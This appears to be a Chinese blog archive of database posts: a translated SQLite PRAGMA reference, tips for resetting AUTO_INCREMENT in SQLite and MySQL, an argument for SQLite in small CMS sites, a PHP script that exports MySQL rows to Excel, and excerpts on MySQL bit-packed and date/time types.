PRAGMA命令是用于修改SQlite库或查询SQLite库内部数据(non-table)的特殊命令。PRAGMA 命令使用与其它SQLite命令(e.g. SELECT, INSERT)相同的接口,但在如下重要方面与其它命令不同:

* 在未来的SQLite版本中部分pragma可能被删除或添加,小心使用。
* 当使用未知的pragma语句时不产生报错。未知的pragma仅仅会被忽略,即是说若是打错了pragma语句SQLite不会提示用户。
* 一些pragma在SQL编译阶段生效而非执行阶段。即是说若使用C语言的sqlite3_compile(), sqlite3_step(), sqlite3_finalize() API (或类似的封装接口中),pragma可能在调用sqlite3_compile()期间起作用。
* pragma命令不与其它SQL引擎兼容。

可用的pragma命令有如下四个基本类型:

* 用于察看当前数据库的模式。
* 用于修改SQLite库的操作或查询当前的操作模式。
* 用于查询或修改两个数据库的版本号,schema-version和user-version.
* 用于调试库和校验数据库文件。


PRAGMA命令语法

 

sql-statement ::= PRAGMA name [value] |
PRAGMA 
function(arg)

 

使用整数值value的pragma也可以使用符号表示,字符串”on“, “true“,和 “yes” 等同于1,”off“, “false“,和 “no“等同于0. 这些字符串大小写不敏感且无须进行引用。无法识别的字符串被当作1且不会报错。value返回时是整数。


用于修改SQLite库的操作的Pragma

  • PRAGMA auto_vacuum;
    PRAGMA auto_vacuum = 
    0 | 1;

    查询或设置数据库的auto-vacuum标记。

    正常情况下,当提交一个从数据库中删除数据的事务时,数据库文件不改变大小。未使用的文件页被标记并在以后的添加操作中 再次使用。这种情况下使用VACUUM命令释放删除得到的空间。

    当开启auto-vacuum,当提交一个从数据库中删除数据的事务时,数据库文件自动收缩, (VACUUM命令在auto-vacuum开启的数据库中不起作用)。数据库会在内部存储一些信息以便支持这一功能,这使得 数据库文件比不开启该选项时稍微大一些。

    只有在数据库中未建任何表时才能改变auto-vacuum标记。试图在已有表的情况下修改不会导致报错。

  • PRAGMA cache_size;
    PRAGMA cache_size = 
    Number-of-pages;

    查询或修改SQLite一次存储在内存中的数据库文件页数。每页使用约1.5K内存,缺省的缓存大小是2000. 若需要使用改变大量多行的UPDATE或DELETE命令,并且不介意SQLite使用更多的内存的话,可以增大缓存以提高性能。

    当使用cache_size pragma改变缓存大小时,改变仅对当前对话有效,当数据库关闭重新打开时缓存大小恢复到缺省大小。 要想永久改变缓存大小,使用default_cache_size pragma.

  • PRAGMA case_sensitive_like;
    PRAGMA case_sensitive_like = 
    0 | 1;

    LIKE运算符的缺省行为是忽略latin1字符的大小写。因此在缺省情况下‘a’ LIKE ‘A’的值为真。可以通过打开 case_sensitive_like pragma来改变这一缺省行为。当启用case_sensitive_like,‘a’ LIKE ‘A’为假而 ‘a’ LIKE ‘a’依然为真。

  • PRAGMA count_changes;
    PRAGMA count_changes = 
    0 | 1;

    查询或更改count-changes标记。正常情况下INSERT, UPDATE和DELETE语句不返回数据。 当开启count-changes,以上语句返回一行含一个整数值的数据——该语句插入,修改或删除的行数。 返回的行数不包括由触发器产生的插入,修改或删除等改变的行数。

  • PRAGMA default_cache_size;
    PRAGMA default_cache_size = 
    Number-of-pages;

    查询或修改SQLite一次存储在内存中的数据库文件页数。每页使用约1.5K内存,它与 cache_sizepragma类似,只是它永久性地改变缓存大小。 利用该pragma,你可以设定一次缓存大小,并且每次重新打开数据库时都继续使用该值。

  • PRAGMA default_synchronous;

    该语句在2.8版本中可用,但在3.0版中被去掉了。这条pragma很危险且不推荐使用,安全起见在该文档中不涉及此pragma的用法。

  • PRAGMA empty_result_callbacks;
    PRAGMA empty_result_callbacks = 
    0 | 1;

    查询或更改empty-result-callbacks标记。

    empty-result-callbacks标记仅仅影响sqlite3_exec API函数。正常情况下,empty-result-callbacks标记清空, 则对返回0行数据的命令不调用sqlite3_exec()的回叫函数,当设置了empty-result-callbacks,则调用回叫 函数一次,置第三个参数为0 (NULL).这使得使用sqlite3_exec() API的程序即使在一条查询不返回数据时依然检索字段名。

  • PRAGMA encoding;
    PRAGMA encoding = “UTF-8”;
    PRAGMA encoding = “UTF-16”;
    PRAGMA encoding = “UTF-16le”;
    PRAGMA encoding = “UTF-16be”;

    在第一种形式中,若主数据库已创建,这条pragma返回主数据库使用得文本编码格式,为 “UTF-8”, “UTF-16le” (little-endian UTF-16 encoding) 或者”UTF-16be” (big-endian UTF-16 encoding)中的一种。 若主数据库未创建,返回值为当前会话创建的主数据库将要使用的文本编码格式。

    第二种及以后几种形式只在主数据库未创建时有效。这时该pragma设置当前会话创建的主数据库将要使用的文本编码格式。 “UTF-16″表示”使用本机字节顺序的UTF-16编码”。若这些形式在主数据库创建后使用,将被忽略且不产生任何效果。

    数据库的编码格式设置后不能够被改变。

    ATTACH命令创建的数据库使用与主数据库相同的编码格式。

  • PRAGMA full_column_names;
    PRAGMA full_column_names = 
    0 | 1;

    查询或更改the full-column-names标记。该标记影响SQLite命名SELECT语句(当字段表达式为表-字段或通配符”*”时) 返回的字段名的方式。正常情况下,当SELECT语句将两个或多个表连接时, 这类结果字段的返回名为,当SELECT语句查询一个单独的表时, 返回字段名为。当设置了full-column-names标记,返回的字段名将统一为 不管是否对表进行了连接。

    若short-column-names和full-column-names标记同时被设置,则使用full-column-names方式。

  • PRAGMA fullfsync
    PRAGMA fullfsync = 
    0 | 1;

    查询或更改fullfsync标记。该标记决定是否在支持的系统上使用F_FULLFSYNC同步模式。缺省值为off.截至目前(2006-02-10) 只有Mac OS X 系统支持F_FULLFSYNC.

  • PRAGMA page_size;
    PRAGMA page_size = 
    bytes;

    查询或设置page-size值。只有在未创建数据库时才能设置page-size。页面大小必须是2的整数倍且大于等于512小于等于8192。 上限可以通过在编译时修改宏定义SQLITE_MAX_PAGE_SIZE的值来改变。上限的上限是32768.

  • PRAGMA read_uncommitted;
    PRAGMA read_uncommitted = 
    0 | 1;

    查询,设置或清除READ UNCOMMITTED isolation(读取未授权的分隔符).缺省的SQLite分隔符等级是SERIALIZABLE. 任何线程或进程可选用READ UNCOMMITTED isolation,但除了共享公共页和schema缓存的连接之间以外的地方也会 使用SERIALIZABLE.缓存共享通过 sqlite3_enable_shared_cache() API开启,且只在运行同一线程的连接间有效。缺省情况下缓存共享是关闭的。

  • PRAGMA short_column_names;
    PRAGMA short_column_names = 
    0 | 1;

    查询或更改the short-column-names标记。该标记影响SQLite命名SELECT语句(当字段表达式为表-字段或通配符”*”时) 返回的字段名的方式。正常情况下,当SELECT语句将两个或多个表连接时, 这类结果字段的返回名为,当SELECT语句查询一个单独的表时, 返回字段名为。当设置了full-column-names标记,返回的字段名将统一为 不管是否对表进行了连接。

    若short-column-names和full-column-names标记同时被设置,则使用full-column-names方式。

  • PRAGMA synchronous;
    PRAGMA synchronous = FULL; 
    (2)
    PRAGMA synchronous = NORMAL; 
    (1)
    PRAGMA synchronous = OFF; 
    (0)

    查询或更改”synchronous”标记的设定。第一种形式(查询)返回整数值。 当synchronous设置为FULL (2), SQLite数据库引擎在紧急时刻会暂停以确定数据已经写入磁盘。 这使系统崩溃或电源出问题时能确保数据库在重起后不会损坏。FULL synchronous很安全但很慢。 当synchronous设置为NORMAL, SQLite数据库引擎在大部分紧急时刻会暂停,但不像FULL模式下那么频繁。 NORMAL模式下有很小的几率(但不是不存在)发生电源故障导致数据库损坏的情况。但实际上,在这种情况 下很可能你的硬盘已经不能使用,或者发生了其他的不可恢复的硬件错误。 设置为synchronous OFF (0)时,SQLite在传递数据给系统以后直接继续而不暂停。若运行SQLite的应用程序崩溃, 数据不会损伤,但在系统崩溃或写入数据时意外断电的情况下数据库可能会损坏。另一方面,在synchronous OFF时 一些操作可能会快50倍甚至更多。

    在SQLite 2中,缺省值为NORMAL.而在3中修改为FULL.

  • PRAGMA temp_store;
    PRAGMA temp_store = DEFAULT;
     (0)
    PRAGMA temp_store = FILE;
     (1)
    PRAGMA temp_store = MEMORY;
     (2)

    查询或更改”temp_store“参数的设置。当temp_store设置为DEFAULT (0),使用编译时的C预处理宏 TEMP_STORE来定义储存临时表和临时索引的位置。当设置为MEMORY (2)临时表和索引存放于内存中。 当设置为FILE (1)则存放于文件中。temp_store_directory pragma 可用于指定存放该文件的目录。当改变temp_store设置,所有已存在的临时表,索引,触发器及视图将被立即删除。

    库中的编译时C预处理标志TEMP_STORE可以覆盖该pragma设置。下面的表给出TEMP_STORE预处理宏和 temp_store pragma交互作用的总结:

    TEMP_STORE PRAGMA
    temp_store
    临时表和索引
    使用的存储方式
    0 any 文件
    1 0 文件
    1 1 文件
    1 2 内存
    2 0 内存
    2 1 文件
    2 2 内存
    3 any 内存

  • PRAGMA temp_store_directory;
    PRAGMA temp_store_directory = ‘directory-name’;

    查询或更改”temp_store_directory”设置——存储临时表和索引的文件所在的目录。 仅在当前连接有效,在建立新连接时重置为缺省值。

    当改变了temp_store_directory设置,所有已有的临时表,索引,触发器,视图会被直接删除。 建议在数据库一打开时就设置好temp_store_directory.

    directory-name需用单引号引起来。要想恢复缺省目录,把directory-name设为空字符串。例如 PRAGMA temp_store_directory = ”.若directory-name未找到或不可写会引发错误。

    临时文件的缺省目录与主机的系统有关,使用Unix/Linux/OSX系统的主机,缺省目录是如下序列之中第一个可写的 /var/tmp, /usr/tmp, /tmp,current-directory.对于Windows NT,缺省目录由Windows决定,一般为C:\Documents and Settings\user-name\Local Settings\Temp\. SQLite创建的临时文件在使用完毕时就被unlink,所以操作系统可以在SQLite进程进行中自动删除临时文件。 于是,正常情况下不能通过ls 或 dir命令看到临时文件。


用于查询数据库的schema的Pragma

  • PRAGMA database_list;

    对每个打开的数据库,使用该数据库的信息调用一次回叫函数。使用包括附加的数据库名和索引名在内的参数。第一行用于主数据库,第二行用于存放临时表的临时数据库。

  • PRAGMA foreign_key_list(table-name);

    对于参数表中每个涉及到字段的外键,使用该外键的信息调用一次回叫函数。每个外键中的每个字段都将调用一次回叫函数。

  • PRAGMA index_info(index-name);

    对该索引涉及到的每个字段,使用字段信息(字段名,字段号)调用一次回叫函数。

  • PRAGMA index_list(table-name);

    对表中的每个索引,使用索引信息调用回叫函数。参数包括索引名和一个指示索引是否唯一的标志。

  • PRAGMA table_info(table-name);

    对于表中的每个字段,使用字段信息(字段名,数据类型,可否为空,缺省值)调用回叫函数。


用于查询/更改版本信息的Pragma

  • PRAGMA [database.]schema_version;
    PRAGMA [database.]schema_version = 
    integer ;
    PRAGMA [database.]user_version;
    PRAGMA [database.]user_version = 
    integer ;

    这两条pragma分别用于设置schema-version和user-version的值。schema-version 和user-version均为32位有符号整数,存放于数据库头中。

    schema-version通常只由SQLite内部操作。每当数据库的schema改变时(创建或撤消表或索引),SQLite 将这个值增大。schema版本在每一次query被执行时被SQLite所使用,以确定编译SQL query时内部cache的schema与编译后的query实际执行时数据库的schema相匹配。使用”PRAGMA schema_version”更改schema-version会破坏这一机制,有导致程序崩溃或数据库损坏的潜在危险。请小心使用!

    user-version不在SQLite内部使用,任何程序可以用它来做任何事。


用于库debug的Pragma

  • PRAGMA integrity_check;

    该命令对整个数据库进行完整性检查,查找次序颠倒的记录,丢失的页,残缺的记录以及损坏的索引。若发现任何问题则返回一形容问题所在的字符串,若一切正常返回”ok”.

  • PRAGMA parser_trace = ON; (1)
    PRAGMA parser_trace = OFF;
     (0)

    打开或关闭SQLite库中的SQL语法分析追踪,用于debug.只有当SQLite不使用NDEBUG宏进行编译时该pragma才可用。

  • PRAGMA vdbe_trace = ON; (1)
    PRAGMA vdbe_trace = OFF;
     (0)

    打开或关闭SQLite库中的虚拟数据库引擎追踪,用于debug.更多信息,察看 VDBE文档。

  • PRAGMA vdbe_listing = ON; (1)
    PRAGMA vdbe_listing = OFF;
     (0)

    打开或关闭虚拟机程序列表,当开启列表功能,整个程序的内容在执行前被打印出来,就像在每条语句之前自动执行EXPLAIN. 语句在打印列表之后正常执行。用于debug.更多信息,察看 VDBE文档。

MYSQL与SQLITE重置AUTO_INCREMENT初始值

MYSQL重置AUTO_INCREMENT初始值的方法很简单
可就是SQLITE的重置方法在国内还极少人有记载(至少本人找了很久没找到)
于是到美国漫游了一下,终于功夫不负有心人……

SQLITE AUTO_INCREMENT 复位:

DELETE FROM sqlite_sequence WHERE name = 'your_table_name'

MYSQL AUTO_INCREMENT 复位:

ALTER TABLE your_table_name AUTO_INCREMENT = 1

SQLite数据库是中小站点CMS的最佳选择

SQLite 是一个类似Access的轻量级数据库系统,但是更小、更快、容量更大,并发更高。为什么说 SQLite 最适合做 CMS (内容管理系统)呢?并不是说其他数据库不好, Oracle、MySQL、SQLServer 也都是非常优秀的 DBS,只不过他们设计目标不同,特性不同,所以只有更适用某个应用场景,没有绝对的好坏之分。
我归纳的中小型站点的CMS的特点如下:
1、数据量不超过10万
2、日页面访问量不超过10万
3、 一部分网站全部生成静态页面,一部分网站实时查询数据库动态访问
4、 站长不懂技术,不懂得复杂的数据库维护,只会用 FTP 管理网站
5 、个人站点基本上是一个人管理,一般情况下只有一个人在访问后台,没有并发
6、 对数据库来说是读多写少,只有在站长访问后台的时候才会写入
7、 多运行于虚拟主机,大部分PHP主机均同时支持MySQL,小部分PHP主机需要单独购买MySQL,PHP+MySQL的主机价格较PHP主机价格高。 (以万网为例:最便宜的PHP空间780元,最便宜的PHP+MySQL的PHP空间1150元)
8、 多数中小站点的HTTP服务与MySQL部署在同一服务器上
SQLite 的优点在中小网站CMS应用场景下表现突出:
1、与MySQL相比,它更彻底的免费,并且没有任何使用上的限制
2、非常小巧,PHP5以上版本中无需任何配置即可支持SQLite
3、无需单独购买数据库服务,无服务器进程,配置成本为零
4、整个数据库存储在一个单个的文件中,数据导入导出备份恢复都是复制文件,维护难度为零
5、读速度快,在数据量不是很大的情况下速度较快,更重要的是:省掉了一次数据库远程链接没有复杂的权限验证,打开就能操作
SQLite的缺点在中小网站 CMS 应用场景下被规避:
1、并发低 动态访问时当访问量不超过10万PV的时候,SQLite 超过 Access 的并发能力已经绰绰有余;生成静态页后更无需考虑数据库的并发问题
2、在大数据量的情况下表现较差 但是中小站点一般情况下数据量不超过10万,而SQlite 在 100 万数据量之下表现还不错,因为省掉了对数据库服务器的远程连接甚至会更快
3、写入较慢 默认配置下的 SQlite 的写入速度比MySQL慢了很多,但是 CMS 应用场景的写入操作较少。在插入新文章的时候基本感受不到慢。集中的写数据库操作只有在安装的时候会出现,不过只出现一次,可以忽略
4、为已有的表加索引较慢 但是在中小站点CMS中不会有这样的需求,可以忽略
5、无法将 MySQL 部署到与前端机不同的服务器上,但是中小站点也没有分开部署的需求
综上所述:在中小站点 CMS 的应用场景下 SQLite 能最大限度的降低建站成本,降低维护难度,又很好得规避了自身的缺点。所以我认为未来支持 SQLite 的 CMS 系统一定会大行其道。

利用PHP将MYSQL数据输入成EXCEL格式

<?php 
$DB_Server = “localhost”;   
$DB_Username = “put your user name here”;   
$DB_Password = “put your password here”;   
$DB_DBName = “put your database name here”;   
$DB_TBLName = “put your table name here”;   
  
$savename = date(“YmjHis”);  // excel file name
$Connect = @mysql_connect($DB_Server, $DB_Username, $DB_Password) or die(“Couldn’t connect.”);   
mysql_query(“Set Names ‘utf-8′”);
$file_type = “vnd.ms-excel”;   
$file_ending = “xls”;
header(“Content-Type: application/$file_type;charset=utf-8″);
header(“Content-Disposition: attachment; filename=”.$savename.”.$file_ending”);   
//header(“Pragma: no-cache”);      
  
$now_date = date(“Y-m-j H:i:s”);    
$title = “User Email”;    
  
$sql = “SELECT entity_id, email from $DB_TBLName WHERE entity_id >’0′ AND entity_id<10001″;    //export entity_id from 1 to 1000
$ALT_Db = @mysql_select_db($DB_DBName, $Connect) or die(“Couldn’t select database”);   
$result = @mysql_query($sql,$Connect) or die(mysql_error()); 
  
echo(“$title\n”);    
$sep = “\t”;    
for ($i = 0; $i < mysql_num_fields($result); $i++) {
    echo mysql_field_name($result,$i) . “\t”;    
}    
print(“\n”);    
$i = 0;    
while($row = mysql_fetch_row($result)) {    
    $schema_insert = “”;
    for($j=0; $j<mysql_num_fields($result);$j++) {    
        if(!isset($row[$j]))    
            $schema_insert .= “NULL”.$sep;    
        elseif ($row[$j] != “”)    
            $schema_insert .= “$row[$j]“.$sep;
        else    
            $schema_insert .= “”.$sep;    
    }    
    $schema_insert = str_replace($sep.”$”, “”, $schema_insert);    
    $schema_insert .= “\t”;    
    print(trim($schema_insert));    
    print “\n”;    
    $i++;    
}    
return (true); 
?>

MySQL表设计优化与索引 (十)

Bit-Packed Data Types

MySQL有一些存储类型使用一个值中的一些单个的比特位来紧凑的存储数据。纯技术上将,不管是底层的存储格式还是操作,所有这些类型都是字符串类型。

BIT

MySQL5.0以前, BIT只是TINYINT的同义词而已。但是在MySQL5.0以及之后的版本,BIT是一个完全不同的数据类型了, 有着自己的一些特点, 这里讨论一些新的行为和属性:

可以用BIT字段在单列里面来存储一个或多个true/false值, BIT(1)定义一个了只包含单个比特位的字段, BIT(2)是存储2个比特位的字段, 如此类推;BIT字段的最大长度可以是64个比特。

BIT类型的行为与存储引擎有关。MyISAM把一些列为了存储的目的打包到一起, 所以17个单独的BIT列需要17个比特来存储(假定这些列都不允许NULL),MyISAM会近似算成3个字节来存储。其他的一些存储引擎, 比如Memory和InnoDB, 把每个列都用有足够长度存储这些比特位的最小整数来存储,所以无法节省存储空间。

* TIMESTAMP类型的一些行为的规则比较复杂并随着不同的MySQL版本而变化,所以在使用时应当确认是自己所期望的行为。通常, 在对TIMESTAMP的列做了改变后通过查看SHOW CREATE TABALE的结果来确认是一个的主意。

MySQL把BIT当做字符串类型, 而不是数据类型。当检索BIT(1)列的值, 结果是一个字符串而内容是二进制位0或1, 而不是ASCII值”0″或”1″.然而, 如果在一个数值上下文检索的话, 结果是比特串转化而成的数字。 当需要与另一个值进行比较时, 记住这一点。比如, 如果存储值’00111001′(是57的二进制表示)到一个BIT(8)的字段中然后检索出来,得到的是字符编码值为57字符串, 而这值就是“9”的ASCII编码。但是在数值环境中, 得到的是值57:s

mysql> CREATE TABLE bittest(a bit(8));

mysql> INSERT INTO bittest VALUES(b’00111001′);

mysql> SELECT a, a + 0 FROM bittest;

+——+——-+

| a | a + 0 |

+——+——-+

| 9 | 57 |

+——+——-+

这非常容易引起混淆, 所以我们提醒小心使用BIT类型。对于大多数应用程序来说,避免使用这个类型比较的好。

如果想在单个比特位的存储空间中存储true/false值的另一个选择是使用可以为NULL的CHAR(0)列。这个列能够存储NULL和长度为0的空串。

SET

如果需要存储多个true/false的值, 可以考虑把多个列放到一个MySQL所支持的SET数据类型,而MySQL内部通过一些比特位来表示的。这种类型有效的使用存储空间, MySQL也有一些函数如FIND_IN_SET( )和FIELD( )来方便查询。 最主要的缺点是改变列定义的开销: 需要ALTER TABLE, 而这个操作在一个大表上则是开销非常大的(参考后面有关于替换方法的讨论)。一般来说, 也无法在SET列上使用索引。

Bitwise operations on integer columns

整型列上的位操作

SET类型的一个替代办法是把一个整数当做一些比特位的集合。 比如,可以把一个TINYINT数当做8个比特位, 用位运算来操作其中的比特位, 可以通过在应用程序中位每一个比特位定义命名常数来简化理解。

这种方法相对于SET的主要的好处是可以不需要ALTER TABLE就能改变枚举值。缺点是查询写起来麻烦且不容易理解(当第5个比特位为1是什么意思?)。有些人喜欢使用位操作而有些人不喜欢,因而是否使用这个技巧很大程度上是个人口味的问题。

把比特位打成包的一个例子应用程序是存储权限的访问控制列表(ACL).每个比特或SET元素表示一个CAN_READ, CAN_WRITE或者CAN_DELETE之类的值。 如果使用SET列, 需要在MySQL的列定义中存储比特到值得映射关系; 如果使用整数列, 则需要在应用中存储这个映射关系。下面是一些使用SET列的查询语句:

mysql> CREATE TABLE acl (

-> perms SET(‘CAN_READ’, ‘CAN_WRITE’, ‘CAN_DELETE’) NOT NULL

-> );

mysql> INSERT INTO acl(perms) VALUES (‘CAN_READ,CAN_DELETE’);

mysql> SELECT perms FROM acl WHERE FIND_IN_SET(‘CAN_READ’, perms);

+———————+

| perms |

+———————+

| CAN_READ,CAN_DELETE |

+———————+

如果使用整数, 则大概会以如下的方式处理;

mysql> SET @CAN_READ := 1 << 0,

-> @CAN_WRITE := 1 << 1,

-> @CAN_DELETE := 1 << 2;

mysql> CREATE TABLE acl (

-> perms TINYINT UNSIGNED NOT NULL DEFAULT 0

-> );

mysql> INSERT INTO acl(perms) VALUES(@CAN_READ + @CAN_DELETE);

mysql> SELECT perms FROM acl WHERE perms & @CAN_READ;

+——-+

| perms |

+——-+

| 5 |

+——-+

使用了变量来存储值, 不过在代码中可以使用常数来代替。

 

MySQL表设计优化与索引 (九)

日期和时间类型

MySQL有多个表示各种日期和时间值的数据类型, 比如YEAR和DATE. MySQL存储时间的最精确粒度是秒。 然而, 能做微妙粒度的临时计算, 我们会列出一些绕过存储引擎限制的一些方法。

许多时间类型都没有可替换类型, 因而不存在什么是最佳选择这么一说。 唯一的问题是当需要一起存储日期和时间时如何做?MySQL提供了两个非常类似的数据类型来做这个事情: DATETIME和TIMESTAMP. 多大多数应用来说, 两个都行, 但是在某些场合, 一个可能比另一个更合适:

DATETIME

这个类型能够存储很大范围的值, 从1001年到9999年, 准确到秒的精度。它把日期和时间打包成整数以YYYYMMDDHHMMSS 格式表示, 与时区无关。用8个字节的存储空间。

缺省情况下, MySQL以可排序,无歧义的格式显示DATETIME值, 比如 2008-01-16 22:37:08, 这是ANSI下标准显示日期时间的方式。

TIMESTAMP

如名字所指出的,TIMESTAMP 类型存储从1970年1月1日(格林威治时间)到目前为止经过的秒数 –与UNIX时间戳一样。TIMESTAMP 使用4个字节来存储值, 所能表示的范围以比DATETIME要小: 从1970年到2038年。MySQL提供了 FROM_UNIXTIME( ) 和 UNIX_TIMESTAMP( ) 两个函数来进行Unix时间戳与日期类型的相互转换。

新版本的MySQL中TIMESTAMP 采用了与DATETIME 一样的格式来表示值,但是老版本的MySQL没有在各个部分件显示分隔符。 这只是一个显示格式的区别而已,TIMESTAMP 的存储格式在各个版本与DATETIME一致。

TIMESTAMP 对值的显示与时区相关,MySQL服务器,操作系统和客户端连接都有相应的时区设置。

因此,对于与GMT有5个小时时差的东部时间,一个值为0的TIMESTAMP 类型实际显示的内容可能会是1969-12-31 19:00:00。

TIMESTAMP 也有一些DATETIME所不具备的一些属性。 缺省情况下, 插入记录时,MySQL会把第一个没指定具体值得TIMESTAMP 类型的字段自动设置为当前值,在修改时, 如果没有在修改语句中显式的指定值, 第一个DATESTAMP类型的字段的值也会被更行为当前值。也可以通过配置修改修改和插入记录时对TIMESTAMP 列的处理行为。最后, TIMESTAMP列缺省不为NULL, 这与其他数据类型不一样。

除了一些特殊行为,在一般情况下,如果能够使用TIMESTAMP,就使用它, 因为它比DATETIME的空间效率要高。有时候,有人把Unix时间戳存储成整数, 但是实际上没有任何好处,因为格式转换很不方便,我们不推荐这么做。

如果需要存储比秒精度更高的日期和时间数据怎么办呢?MySQL当前并没有提供合适的数据类型, 但是可以根据需要选择自己的存储格式:可以使用BIGINT类型存储毫秒精度的数据,或者使用DOUBLE类型,把秒后面的数值当做小数点后面的小数部分。 这两种方法都不错。